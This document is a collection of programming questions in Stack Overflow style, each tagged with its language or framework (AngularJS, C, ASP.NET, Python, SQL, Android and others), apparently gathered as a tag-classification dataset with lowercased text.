organizing angularjs applications  i feel like there is relatively little documentation on the  best practices  of how one should go about organizing <code>angularjs</code> code. for example  in many of my web pages  i.e.    <ul> <li>index.php</li> <li>profile.php</li> <li>editprofile.php</li> </ul>   there are often many factories and methods that i need repeated. for example  <code>profile.php</code>   <code>editprofile.php</code>  and <code>index.php</code> all need the factory <code>userdropdown</code> (to get the top navbar dropdown menu). however  some of them need  modified versions of factories . for example:   <ul> <li>index.php needs a way to get all the users and their information</li> <li>profile.php needs a way to get some users information</li> <li>editprofile.php needs a way to get only one user information</li> </ul>   what i mean is that (and the above was a poor example)  is that often many <code>.js</code> files needs some modified  child  of a  parent  factory. i find it hard to scale my application because <code>profile.php</code>  <code>index.php</code>  and <code>editprofile.php</code> all refer to their own factories and methods  not a base file. changes  improvements  errors  found in one factory and is corrected  will not propagate into other files (which i find very frustrating). i also don t want to write /copy/paste services and factories over and over again. other issue i ve had is that:  <li><code>x.js</code> file need some providers that <code>y.js</code> file doesn t. however  both needs providers a and b  but x needs <code>c</code> and y needs <code>d</code>. is it bad for me to use the same  factory  and providers  for both of them (i.e. inject a  b  c  and d into both of them ) that s the problem i see with having a base factory of a factory to serve a lot of <code>.js</code> files. how much space or inefficiency is it to define providers or injectable services that you don t use     how do i accomplish some scalable angularjs code to do this  or how do you guys go about organizing your angular code  and also  what about repeating html templates (i.e. repeating html code that needs to be used in almost every page  i ve heard of some service called <code>$templatecache</code> but couldn t figure out how to use it.),angularjs
convert string to float in objective-c  how do i convert a string to a float in objective-c     i am trying to multiply a couple of strings i am getting back from json:   <pre><code>float subtotal = [[[[purchaseorderitemsjson objectatindex:i] objectatindex:j] objectforkey:@ price ] floatvalue];  nslog(@ %@  subtotal); </code></pre>   this gives me: (null) in the console.  i know that there is a valid string coming out of that array because i am already using it to display its value in a label.,objective-c
is it possible to retrieve userid of the user from loginview   im using the loginview in asp.net like this :   <pre><code>&lt;asp:loginview id= headloginview  runat= server  enableviewstate= false &gt; &lt;anonymoustemplate&gt;     &lt;a href= #login  id= headloginstatus  runat= server &gt;log in&lt;/a&gt; &lt;/anonymoustemplate&gt; &lt;loggedintemplate&gt;     &lt;asp:loginname id= headloginname  runat= server  /&gt;     &lt;asp:loginstatus id= headloginstatus  runat= server  logoutaction= redirect  logouttext= log out  logoutpageurl= ~/  /&gt; &lt;/loggedintemplate&gt; </code></pre>       library.aspx.cs   <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.security; using system.web.ui; using system.web.ui.webcontrols;  namespace irelbs.library {     public partial class library : system.web.ui.page     {         protected void page_load(object sender  eventargs e)         {             tbxuserid.text = membership.getuser.provideruserkey.tostring();          }     } } </code></pre>   and library.aspx   <pre><code>&lt;%@ page title=   language= c#  masterpagefile= ~/site.master  autoeventwireup= true  codebehind= library.aspx.cs  inherits= irelbs.library.library  %&gt;      &lt;%@ register src= ~/mod/reqpopup.ascx  tagprefix= uc1  tagname= reqpopup  %&gt;       &lt;asp:content id= content1  contentplaceholderid= headcontent  runat= server &gt;       &lt;link rel= stylesheet  href= http://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css &gt;       &lt;script src= http://code.jquery.com/ui/1.10.4/jquery-ui.js   type= text/javascript &gt;&lt;/script&gt;     &lt;/asp:content&gt;     &lt;asp:content id= content2  contentplaceholderid= contentplaceholder1  runat= server &gt;     &lt;/asp:content&gt;     &lt;asp:content id= content3  contentplaceholderid= maincontent  runat= server &gt;     &lt;%--    &lt;div class= container &gt;             &lt;div class= jumbotron cent &gt;                 &lt;h1&gt;welcome&lt;/h1&gt;                 &lt;p&gt;                     to azlearn library.                 &lt;/p&gt;                 &lt;a href= #  class= btn btn-default &gt;watch now&lt;/a&gt;                  &lt;a href= #  class= btn btn-info &gt;tweet it!&lt;/a&gt;             &lt;/div&gt;         &lt;/div&gt;--%&gt;         &lt;div class= container &gt;             &lt;div class= row &gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;asp.net&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;asp:button id= btnr  runat= server  text= requirements  cssclass= btn btn-info pull-right  /&gt;                 &lt;/div&gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;java&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;a href= #  class= btn btn-info pull-right &gt;requirements&lt;/a&gt;                 &lt;/div&gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;html5&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;a href= #  class= btn btn-info pull-right &gt;requirements&lt;/a&gt;                 &lt;/div&gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;css&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;a href= #  class= btn btn-info pull-right &gt;requirements&lt;/a&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= row &gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;asp.net&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;a href= #  class= btn btn-info pull-right &gt;requirements&lt;/a&gt;                 &lt;/div&gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;java&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;a href= #  class= btn btn-info pull-right &gt;requirements&lt;/a&gt;                 &lt;/div&gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;html&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;a href= #  class= btn btn-info pull-right &gt;requirements&lt;/a&gt;                 &lt;/div&gt;                 &lt;div class= col-md-3 &gt;                     &lt;h3 class= cent &gt;css3&lt;/h3&gt;                     &lt;p&gt;lorem ipsum is simply dummy text of the printing and typesetting industry.&lt;/p&gt;                     &lt;a href= #  class= btn btn-default &gt;start tutorial&lt;/a&gt;                     &lt;a href= #  class= btn btn-info pull-right &gt;requirements&lt;/a&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;asp:textbox id= tbxuserid  runat= server &gt;&lt;/asp:textbox&gt;     &lt;/asp:content&gt; </code></pre>   is there anyway to retrieve the user id the same way or do i need to write ado.net codes to get the userid     thank you in advance,asp.net
html5 error : element head is missing a required instance of child element title  i m trying to send an email but the email provider doesn t let me send it if the body is not well formatted html provider. can anyone help me to validate this     the error is <code>element head is missing a required instance of child element title.</code>   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;div style= background-color: rgb(238 238 238);padding: 0;margin: 0;font-family: open sans   helvetica neue   helvetica   arial   sans-serif;font-size: 13.0px;background-color: rgb(238 238 238); &gt; &lt;/div&gt; &lt;/html&gt; </code></pre>   validator: <a href= http://validator.w3.org/check  rel= nofollow >http://validator.w3.org/check</a>,html
kaprekar number calculation fails for more than two digits  why is the code not working  i cant get a valid output. please help me to find whether the input is a kaprekar number or not.i think i made it too complicated. any suggestions for a simple method      for example:   <ul> <li>9 is a kaprekar number since 9² = 81 &amp; 8+1=9.</li> <li>297 is a kaprekar number since 297² = 88209 &amp; 88+209 = 297. below is the code.   </li> </ul>   here is the code:   <pre><code>#include &lt;stdio.h&gt;  int main() {     int n  a  temp  length  sum = 0  s  i  rem  temp1  length1  sum1[10]  sum2[10];      printf( n );     scanf( %d   &amp;n);      a = n * n;     printf( %d\n   a);      temp = a;     length = 0;      while (temp &gt; 0) {             length++;         temp = temp / 10;         }      temp1 = n;     length1 = 0;      while (temp1 &gt; 0) {             length1++;         temp1 = temp1 / 10;         }      if (length1 == 1) {             for (i = 0; i &lt; length; i++) {                     rem = a % 10;             sum = sum + rem;             a = a / 10;         }         if (sum == n) {                     printf( kaprekar number );         } else {                     printf( not a kaprekar number );                 }         }      if (length1 &gt; 1) {            s = length / 2;           for (i = 0; i &lt; s; i++) {                     printf( %d\n   sum1[i]);                  }          for (i = s; i &lt; length; i++) {                     printf( %d\n   sum2[i]);                 }          for (i = 0; i &lt; length; i++) {                     sum3[i] = sum1[i] + sum2[i];                 }      }     return 0; } </code></pre>,c
unable to change background color using jquery  i have a table in which i have numeric boxes and few of them have already a value of 0 when page loads.    i want to change the background color of those boxes in which value is 0 when page loads. below is the code i am using but its not working for me  please suggest.   <pre><code>if($( tr td ).children( input ).val()==0)                       $(this).css( background-color   #cccccc ); </code></pre>,jquery
need help switching header image using javascript  i m working on a dynamic layout for a tumblr page. so far i have successfully been able to do a time-sensitive switch for the css stylesheets but now i want to switch out the banner also.     i whipped up some code (javascript) to do this  but keep getting an error and don t know why. i m also unsure about where to place the code exactly. since this is a tumblr layout  the header is placed just below the opening  tag. so i m not sure if i should place the javascript there or should i place it just below the  tag    here is the code i come up with. it s giving me a syntax error in dw  but since i m a newbie i have no clue what the problem is.    <pre><code>    &lt;script type= text/javascript &gt; &lt;!-- function getheader() {   if (7 &lt;= currenttime&amp;&amp;currenttime &lt; 18) {        document.write( &lt;h1&gt;&lt;a href= / &gt;&lt;img src= http://itsnotch.com/tumblr/images/notchtheguru_vcbanner.jpg  border  0  /&gt;&lt;/a&gt;&lt;/h1&gt; );       }         else {        document.write(  &lt;h1&gt;&lt;a href= / &gt;&lt;img src= http://itsnotch.com/tumblr/images/notchtheguru_banner.jpg  border  0  /&gt;&lt;/a&gt;&lt;/h1&gt; );       }  }  getheader(); --&gt; &lt;/script&gt; </code></pre>   it gives me a error on the  document.write  lines.     here is the entire source code for the page to give you guys a better look at what i m doing   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en       http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml  xml:lang= en  lang= en &gt;     &lt;head&gt;     &lt;meta name= description  content= big notch  notch the guru  notch blog  notch s blog  word of notch  /&gt;            &lt;!-- default settings --&gt;          &lt;meta name= font:title  content= arial  /&gt;         &lt;meta name= font:body  content= lucida sans  /&gt;         &lt;meta name= text:disqus shortname  content=   /&gt;          &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 /&gt;         &lt;title&gt;{block:searchpage}search results for  {searchquery}  - {/block:searchpage}{block:postsummary}{postsummary} - {/block:postsummary}{title}&lt;/title&gt;         &lt;link rel= icon  href= {favicon} /&gt;         &lt;link rel= alternate  type= application/rss+xml  title= rss  href= {rss} /&gt;         &lt;meta name= viewport  content= width=850 /&gt; &lt;!-- iphone --&gt;                &lt;!--[if lt ie 7]&gt;             &lt;style type= text/css &gt;                 .post div.labels {                     right: 450px;                 }             &lt;/style&gt;         &lt;![endif]--&gt;    &lt;!--google tracker code---&gt;  &lt;script type= text/javascript &gt;    var _gaq = _gaq || [];   _gaq.push([ _setaccount    ua-19744657-4 ]);   _gaq.push([ _trackpageview ]);    (function() {     var ga = document.createelement( script ); ga.type =  text/javascript ; ga.async = true;     ga.src = ( https:  == document.location.protocol    https://ssl  :  http://www ) +  .google-analytics.com/ga.js ;     var s = document.getelementsbytagname( script )[0]; s.parentnode.insertbefore(ga  s);   })();  &lt;/script&gt;        &lt;/head&gt;     &lt;body&gt;  &lt;!--scm music player by adrian shum - http://scmplayer.asweb.info--&gt; &lt;script type= text/javascript &gt;&lt;!-- document.write(unescape( %3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%73%63%6d%70%6c%61%79%65%72%2e%61%73%77%65%62%2e%69%6e%66%6f%2f%73%63%72%69%70%74%2e%6a%73%22%20%3e%3c%2f%73%63%72%69%70%74%3e )); //--&gt;&lt;/script&gt; &lt;script type= text/javascript &gt;&lt;!-- scmmusicplayer.init( { skin : skins/cyber/skin.css   playback :{ autostart : true   shuffle : true   volume : 70 }  playlist :[{ title : battlecat instrumental loop   url : http://itsnotch.com/music/battlecat%20instrumental(loop).mp3 } { title : curren$y - skybourne   url : http://itsnotch.com/music/skybourne.mp3 } { title : dam-funk   url : http://itsnotch.com/music/10_west.mp3 } { title : curren$y - flight briefing   url : http://itsnotch.com/music/flightbriefing.mp3 } { title : b-ducey - let me be (prod.by big notch)   url : http://itsnotch.com/music/let%20me%20be.mp3 } { title : vado - council music (looped by big notch)   url : http://itsnotch.com/music/council%20music%20(instrumental).mp3 } { title : snoop dogg - no bitch   url : http://itsnotch.com/music/no_bitch.mp3 } { title : little brother - that aint no love   url : http://itsnotch.com/music/littlebrother.mp3 }]  placement : bottom   showplaylist : false } ); //--&gt;&lt;/script&gt; &lt;!--end of scm music player script--&gt;          &lt;div id= content &gt;               &lt;div id= description &gt;                 &lt;div&gt;                                         &lt;div id= search &gt;                                             &lt;form action= /search  method= get &gt;                                                 &lt;input type= text  name= q  value= {searchquery} /&gt;                                                 &lt;input type= submit  value= search /&gt;                                             &lt;/form&gt;                                         &lt;/div&gt;                      {description}                      &lt;p id= nav_container &gt;                         &lt;a href= /archive  id= archive_link &gt;archive&lt;/a&gt;                         &lt;span class= dim &gt;/&lt;/span&gt;                         &lt;a href= {rss} &gt;rss&lt;/a&gt;                     &lt;/p&gt;                 &lt;/div&gt;             &lt;/div&gt;                          {block:searchpage}                         &lt;div id= searchresultcount &gt;                             &lt;p&gt;your search for &lt;span class= query &gt;{searchquery}&lt;/span&gt; returned {searchresultcount} result(s).&lt;/p&gt;                         &lt;/div&gt;                         {/block:searchpage}              {block:posts}                 &lt;div class= post &gt;                     &lt;div class= labels &gt;                         {block:newdaydate}                             &lt;div class= date &gt;&lt;a href= {permalink} &gt;{month} {dayofmonth}&lt;/a&gt;&lt;/div&gt;                         {/block:newdaydate}                          {block:samedaydate}                             &lt;div class= date &gt;&lt;a href= {permalink} &gt;&lt;/a&gt;&lt;/div&gt;                         {/block:samedaydate}                         &lt;/div&gt;                      {block:regular}                         &lt;div class= regular &gt;                             {block:title}&lt;h2&gt;&lt;a href= {permalink} &gt;{title}&lt;/a&gt;&lt;/h2&gt;{/block:title}                             {body}                         &lt;/div&gt; &lt;div id= separator &gt;&lt;/div&gt;                        {/block:regular}                      {block:photo}                         &lt;div class= photo &gt;                             {linkopentag}&lt;img src= {photourl-400}  alt= {photoalt} /&gt;{linkclosetag}                             {block:caption}                                 &lt;div class= caption &gt;{caption}&lt;/div&gt;                             {/block:caption}                          &lt;/div&gt; &lt;div id= separator &gt;&lt;/div&gt;                        {/block:photo}                     {block:quote}                         &lt;div class= quote &gt;                             &lt;span class= quote &gt;                                 &lt;big class= quote &gt;&amp;#147;&lt;/big&gt; {quote}                             &lt;/span&gt;                             {block:source}&lt;span class= source &gt;{source}&lt;/span&gt;{/block:source}                         &lt;/div&gt; &lt;div id= separator &gt;&lt;/div&gt;                        {/block:quote}                      {block:link}                         &lt;div class= link &gt;                             &lt;a href= {url}  class= link  {target}&gt;{name}&lt;/a&gt;                             {block:description}                                 &lt;span class= description &gt;{description}&lt;/span&gt;                             {/block:description}                         &lt;/div&gt; &lt;div id= separator &gt;&lt;/div&gt;                        {/block:link}                      {block:conversation}                         &lt;div class= conversation &gt;                             {block:title}&lt;h2&gt;&lt;a href= {permalink} &gt;{title}&lt;/a&gt;&lt;/h2&gt;{/block:title}                             &lt;ul&gt;                                 {block:lines}                                     &lt;li&gt;                                         {block:label}&lt;span class= label &gt;{label}&lt;/span&gt;{/block:label}                                         {line}                                     &lt;/li&gt;                                 {/block:lines}                             &lt;/ul&gt;                         &lt;/div&gt; &lt;div id= separator &gt;&lt;/div&gt;                        {/block:conversation}                      {block:audio}                         &lt;div class= audio &gt;                             {audioplayergrey}                             {block:caption}                                 &lt;div class= caption &gt;{caption}&lt;/div&gt;                             {/block:caption}                         &lt;/div&gt; &lt;div id= separator &gt;&lt;/div&gt;                        {/block:audio}                      {block:video}                         &lt;div class= video &gt;                             {video-400}                             {block:caption}                                 &lt;div class= caption &gt;{caption}&lt;/div&gt;                             {/block:caption}                         &lt;/div&gt; &lt;div id= separator &gt;&lt;/div&gt;                        {/block:video}                 &lt;/div&gt;                  {block:ifdisqusshortname}                     {block:permalink}                         &lt;div id= disqus_thread &gt;&lt;/div&gt;                         &lt;script type= text/javascript  src= http://disqus.com/forums/{text:disqus shortname}/embed.js &gt;&lt;/script&gt;                         &lt;noscript&gt;&lt;a href= http://{text:disqus shortname}.disqus.com/ url=ref &gt;view the discussion thread.&lt;/a&gt;&lt;/noscript&gt;                          &lt;div style= text-align: right; margin-top: 5px &gt;                             &lt;a href= http://disqus.com  class= dsq-brlink &gt;blog comments powered by &lt;span class= logo-disqus &gt;disqus&lt;/span&gt;&lt;/a&gt;                         &lt;/div&gt;                     {/block:permalink}                 {/block:ifdisqusshortname}             {/block:posts}              &lt;div id= footer &gt;                 {block:previouspage}                     &lt;a href= {previouspage} &gt;&amp;#171; previous&lt;/a&gt; &amp;nbsp;&amp;nbsp;                 {/block:previouspage}                  {block:nextpage}                     &lt;a href= {nextpage} &gt;next &amp;#187;&lt;/a&gt;                 {/block:nextpage}             &lt;/div&gt;         &lt;/div&gt;          {block:ifdisqusshortname}             &lt;script type= text/javascript &gt;                 //&lt;![cdata[                 (function() {                     var links = document.getelementsbytagname( a );                     var query =    ;                     for(var i = 0; i &lt; links.length; i++) {                         if(links[i].href.indexof( #disqus_thread ) &gt;= 0) {                             query +=  url  + i +  =  + encodeuricomponent(links[i].href) +  &amp; ;                         }                     }                     document.write( &lt;script charset= utf-8  type= text/javascript  src= http://disqus.com/forums/{text:disqus shortname}/get_num_replies.js  + query +   &gt;&lt;/  +  script&gt; );                 })();                 //]]&gt;             &lt;/script&gt;         {/block:ifdisqusshortname}  &lt;script type= text/javascript &gt; &lt;!-- function getstylesheet() {       var currenttime = new date().gethours();       if (22 &lt;= currenttime&amp;&amp;currenttime &lt; 7) {        document.write( &lt;link rel= stylesheet  href= http://itsnotch.com/tumblr/files/nighttime.css  type= text/css &gt; );       }       if (7 &lt;= currenttime&amp;&amp;currenttime &lt; 18) {        document.write( &lt;link rel= stylesheet  href= http://itsnotch.com/tumblr/files/vice.css  type= text/css &gt; );       }       if (18 &lt;= currenttime&amp;&amp;currenttime &lt; 20) {        document.write( &lt;link rel= stylesheet  href= http://itsnotch.com/tumblr/files/evening.css  type= text/css &gt; );       }       if (20 &lt;= currenttime&amp;&amp;currenttime &lt; 22) {        document.write( &lt;link rel= stylesheet  href= http://itsnotch.com/tumblr/files/dusk.css  type= text/css &gt; );       }  }  getstylesheet(); --&gt; &lt;/script&gt;  &lt;noscript&gt;&lt;&lt;link rel= stylesheet  type= text/css  href= http://itsnotch.com/tumblr/files/dusk.css  /&gt;&lt;/noscript&gt;    &lt;script type= text/javascript &gt; &lt;!-- function getheader() {   if (7 &lt;= currenttime&amp;&amp;currenttime &lt; 18) {        document.write( &lt;h1&gt;&lt;a href= / &gt;&lt;img src= http://itsnotch.com/tumblr/images/notchtheguru_vcbanner.jpg  border  0  /&gt;&lt;/a&gt;&lt;/h1&gt; );       }         else {        document.write(  &lt;h1&gt;&lt;a href= / &gt;&lt;img src= http://itsnotch.com/tumblr/images/notchtheguru_banner.jpg  border  0  /&gt;&lt;/a&gt;&lt;/h1&gt; );       }  }  getheader(); --&gt; &lt;/script&gt;      &lt;/body&gt; &lt;/html&gt; </code></pre>   the header was originally posted below the    tag,javascript
why does vs require not to use inline code   i just updated vs 2 days before  they added some features to vs. here is the one of them:    <a href= https://i.stack.imgur.com/jcfr9.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jcfr9.png  alt= 1 ></a>    i d read many documentations (from msdn)  sometimes they still use inline-code like that. i know that both of them give the same result but i don t know why it s a suggestion  can you explain me why     current syntax:   <pre><code>return createdataction(nameof(removefromcontactlist)  new { succeeded = false }); </code></pre>   suggestion syntax:   <pre><code>var value = new { succeeded = false }; // we also have  base  keyword here return base.createdataction(nameof(removefromcontactlist)  value); </code></pre>   thank you!    <strong>update:</strong> (based on @damien_the_unbeliever s answer):    <a href= https://i.stack.imgur.com/jy2iw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jy2iw.png  alt= 2 ></a>,c#
interesting array with null elements javascript behavior  any idea why it behaves like this,javascript
forcing site-title and site-text in one line.  i m trying to get the site text right next to site-title. my code right know is   <pre><code>&lt;p&gt;  &lt;block&gt;&lt;div style= background-color:#993383; color:#ffffff; font-style: normal;  &gt; &lt;span class= nowrap &gt;&lt;h3 id= site-title &gt;&lt;b&gt;text goes here&lt;/b&gt;&lt;/h3&gt;&lt;/span&gt; &lt;span class= nowrap &gt;&lt;h5 id= site-text &gt; text goes here&lt;/h5&gt;&lt;/span&gt;      &lt;/div&gt;&lt;/block&gt;     &lt;/p&gt; </code></pre>   im not sure if the code <code>class= nowrap </code> is correct  so i m hoping you can help me out!,html
register rowcommand via jquery asp.net webforms  i have created a gridview that loads more data on mouse scroll down. my issue is that this gridview has rowcommand event  so this means every time i append new rows  i need to also register rowcommand event via jquery. how can i achieve this   please see my code below :   <pre><code>var openuserno = 1 ;  for (var i = 0; i &lt; datavalues.length; i++) {      $( #&lt;%=gv.clientid%&gt; tr:last ).after( &lt;tr&gt;&lt;td&gt;  + datavalues[i].totalcomplaints +                      &lt;/td&gt;&lt;td&gt;&lt;a class= grid-hyperlink-green  href= javascript:__dopostback( ctl00$cphbody$gv    openuser$  + openuserno +  ) &gt;details&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; );       openuserno++; } </code></pre>,asp.net
include initial position with css steps  i m using css steps to create a  light board  you could say. so there s a column of 18 divs that act as a  bulb . the animation moves a div behind it that acts as the  lit up bulb      my keyframes are set as:   <pre><code>@keyframes strobe{     to{         transform:translatex(1800%);     } } </code></pre>   and my animation is set as:   <pre><code>animation:strobe 2s steps(18  start) infinite; </code></pre>   currently the animation never includes it s original position. (i also tried using 0% - 100% for the keyframes)    how can i include the initial position in the steps  and why is it currently not     included a fiddle for reference. still working on responsive  so it doesn t show as 18 divs across.    <a href= https://jsfiddle.net/btxffgfj/  rel= nofollow >https://jsfiddle.net/btxffgfj/</a>,css
how do i make my code analyse the sentence then list the position on a text file  so far i ve got this   <pre><code>usersen = input( enter a sentence of your choice   ) position = {} # word -&gt; position words = usersen.split() for word in words:     if word not in position: # new word         position[word] = len(position) + 1 # store its position </code></pre>   i want to make it out put something like  if you put in the sentence  hi how are you hi are you hi  it would output 1 2 3 4 1 3 4 1,python
include uncertainties of known parameters of function to fit using curve_fit in python  i am using uncertainty package within the python. i have a function like a*x+n where n is a fixed parameter with uncertainty say n=1.0+/-0.1. i would like to get the parameter a by fitting the equation to data set y with errors yerr.    i have attempted using @uncertainties.wrap but not success.   <pre><code>x=np.array([1 2 3 4 5]) y=np.array([2.2 3.3 4.4 5.5 6.6]) yerr=np.array([0.1 0.1 0.1 0.1 0.1]) n=unumpy.uarray([1.0] [0.1]) def fitfun(x a n):     return a*x+n  a cov=curve_fit(uncertainties.wrap(fitfun)(x a n) x y sigma=yerr  absolute_sigma=true) </code></pre>   any suggestion will be appreciated.,python
reverse order of firstname and lastname in sql column  i have a column in a sql database in the format initial space surname  e.g.  j smith   and i d like it to be  smith j .  what is the most efficient way of doing this using t-sql   the table has many millions of records.  thanks.,sql
what is difference between in app billing and google wallet   i developing the android app which uses in app purchase. the core of purchase is when the user clicks the button  it will send the bids to all companies. here  i am going to integrate in app purchase flow before sending bids to companies. so the user need to pay 1$ to send bids to all companies. google has in app billing and google wallet instant buy api for android.  i don t know which api should i use . please help!    thanks,android
android keyboard push the screen up  some people having this problem which is when he push the button i invoke keyboard but keyboard push the whole screen up with itself. which shoud stay same at background. there is screen shot from my user.    these stuff shoud be behind keyboard  and which shoud need to see can t see coz out of screen on the out-upside    <img src= https://i.stack.imgur.com/cnj2l.png  alt= enter image description here >,android
c++ : error c2675: unary  ++   i have an c2675 error when using c++.    <pre><code>#include&lt;stdio.h&gt; int main(void){    enum months {jan=1  feb  mar  apr  jun  aug  sep  oct  nov  dec};    enum tv { kbs1 =9  kbs2 = 7  mbc =11  sbs = 6};    enum months mon;     printf( kbs1 : %d  kbs1);    printf( kbs2 : %d  kbs2);    printf( mbc : %d   mbc);    printf( sbs : %d   sbs);     for(mon = jan; mon&lt;=dec; ++mon){        printf( %d  mon);}    return 0; </code></pre>   but  there is a result...   <pre><code>error c2675: unary  ++  :  main::months  does not define this operator or a conversion to a type acceptable to the predefined operator. </code></pre>   please help me how to solve this problem... t_t,c++
please help in databound webform  i am new to asp.net and i am developing an inventory system.    i have used a databinding feature of .net   and i am inserting  editing and deleting via built-in links of    databound controls.    question is  i want to check before e.g insertion some critaria first in my database and than wana decide whether to    save the new data in database or not  now i dont know how to call my custome method for checking some critaria  before the insertion (e.g) of the new data.,asp.net
how to add an element to a div when checkbox is checked  and remove when checkbox is unchecked. thank you  i am new to angularjs. i want something like: when i click a checkbox it adds that checkbox name to a div and when i uncheck it  it simply remove that item from there using angularjs.    it is like a team player list with players having checkboxes. as i check a checkbox that player is added to the list and when i un-check it simply removes from that list.    thanks,angularjs
displaying multiple array items and returning to the start once the end is reached  i have a main array with a number of items  e.g. 100 (itemsarray) i have second array of 7 items that is filled from the main array depending on what is selected (selecteditemsarray)    the second array is output to the screen  when i press left or right the next item or previous item in the array is displayed  however the 3 previous are displayed before and the next 3 are displayed after.    however once the end of the array is reached (or the item goes below 0) it crashes (not a surprise) but how can i calculate what number in the array should be selected once the end or start of 0 is reached   <pre><code>    using system;     using system.collections.generic;     using system.componentmodel;     using system.data;     using system.drawing;     using system.linq;     using system.text;     using system.threading.tasks;     using system.windows.forms;      namespace test2     {         public partial class form1 : form         {             public form1()             {                 initializecomponent();             }              string[] itemsarray = new string[100];             int selectedindex = 0;              private void displayitems(string[] items)             {                 stringbuilder output = new stringbuilder(  );                 for (int i = 0; i &lt; items.count(); i++)                 {                     output.appendline(items[i]);                 }                 textbox1.text = output.tostring();             }              private void form1_load(object sender  eventargs e)             {                 for (int i = 0; i &lt; itemsarray.count(); i++)                 {                     itemsarray[i] =  item   + i;                 }                 callitems();             }              private void callitems()             {                 string[] selecteditemsarray = new string[7];                 array.copy(itemsarray  selectedindex  selecteditemsarray  0  7);                 displayitems(selecteditemsarray);             }              private void form1_keydown(object sender  keyeventargs e)             {                 switch (e.keydata)                 {                     case keys.left:                         {                             selectedindex--;                             callitems();                             break;                         }                     case keys.right:                         {                             selectedindex++;                             callitems();                             break;                         }                 }             }         }     } </code></pre>   i hope that makes sense and appreciate any help anyone can give me,c#
can t open installed app on android  i have finished my application in android studio but when i copy and paste app-debug.apk on my android phone it can t be opened after installation. can anybody tell me what is wrong a what i need to do to make that app run. btw when i was writting the code i was running it on my phone through usb cable without using avd. here is my androdimanifest:              <pre><code>&lt;application     android:debuggable= true      android:allowbackup= true      android:icon= @drawable/ic_launcher      android:label= @string/app_name      android:theme= @style/apptheme &gt;     &lt;activity         android:name= .splashactivity          android:label= @string/app_name &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.category.main /&gt;             &lt;category android:name= android.intent.category.launcher /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt;     &lt;activity         android:name= .mainactivity          android:label= @string/app_name &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.category.mainactivity /&gt;             &lt;category android:name= android.intent.category.default /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt;     &lt;activity         android:name= .infoactivity          android:label= @string/app_name &gt;     &lt;/activity&gt; &lt;/application&gt; </code></pre>,android
unsure what int regs = 0  i  *regs means  i m maintaining and extending the functionality of a diagnostic test suite  and this fragment of code comes up multiple times and i m not sure what it does:   <pre><code>int ret = 0  i  *reg; int size = sizeof(regs)/sizof(reg); for(i = 0; i&lt;size; i++) {     reg= (uint*)regs[i].number;     *reg=0; } return ret; </code></pre>   where i is  looping variable  and reg is a pointer to a 32-bit int (number being the address to that 32-bit int). this particular test clears the registers  but is it meant to change ret     edit: i guess my question was a bit ambiguous  i am wondering specifically what the fragment:   <pre><code>int ret = 0  i  *regs; </code></pre>   does  or why it is valid.,c
strftime with ordinal numbers  how possible to display days with strftime in format 1st  2nd  25th  23rd etc...      my current code looks like :   <pre><code>strftime( %b %d  %y  $expiration_date); </code></pre>   i have checked some solutions  but doesn t work.,php
property can retain an autoreleased object   if i do this:    <code>@property (nonatomic  retain) someobject* someinstance;</code>    why isn t <code>someinstance</code> still around even when i use an autorelease initializer on it     for example:    <code>someinstance=[someobject autoreleasemethod];</code>    i would expect <code>someinstance</code> to retain it in this case so you can use <code>someinstance</code> later  but is this not true,objective-c
